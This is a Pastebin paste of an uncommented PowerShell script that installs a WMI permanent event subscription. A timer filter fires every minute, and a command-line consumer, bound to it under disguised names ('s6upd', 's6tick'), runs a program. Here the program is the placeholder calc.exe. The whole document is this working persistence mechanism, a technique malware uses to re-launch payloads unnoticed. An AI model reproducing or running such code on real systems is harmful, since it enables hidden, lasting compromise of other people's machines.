Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- & {
- $filterNS = "root\cimv2"
- $wmiNS = "root\subscription"
- $cliTemplate = "calc.exe"
- $targetConsumerName = "s6upd"
- $targetTriggerName = "s6tick"
- Try {
- gwmi -Class __FilterToConsumerBinding -Namespace $wmiNS | ForEach-Object {
- $consumerName = ($_.Consumer -Split'=',2)[-1] -Replace '"',''
- $triggerName = ($_.Filter -Split'=',2)[-1] -Replace '"',''
- if ($consumerName -eq $targetConsumerName -and $triggerName -eq $targetTriggerName) {
- Write-Host "AOK"
- Exit 0
- }
- }
- $filterQuery = "SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5"
- $filter = swmi -Class __EventFilter -Namespace $wmiNS -Arguments @{name=$targetTriggerName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$filterQuery}
- $consumer = swmi -Class CommandLineEventConsumer -Namespace $wmiNS -Arguments @{name=$targetConsumerName; CommandLineTemplate=$cliTemplate; WorkingDirectory="C:\\"}
- $binding = swmi -Class __FilterToConsumerBinding -Namespace $wmiNS -Arguments @{Filter=$filter; Consumer=$consumer}
- if ($binding -AND $consumer -AND $filter) {
- Write-Host "OK"
- } else {
- Write-Host "FAIL"
- }
- Exit 0
- } Catch { Write-Host "$_"; Exit 0 }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement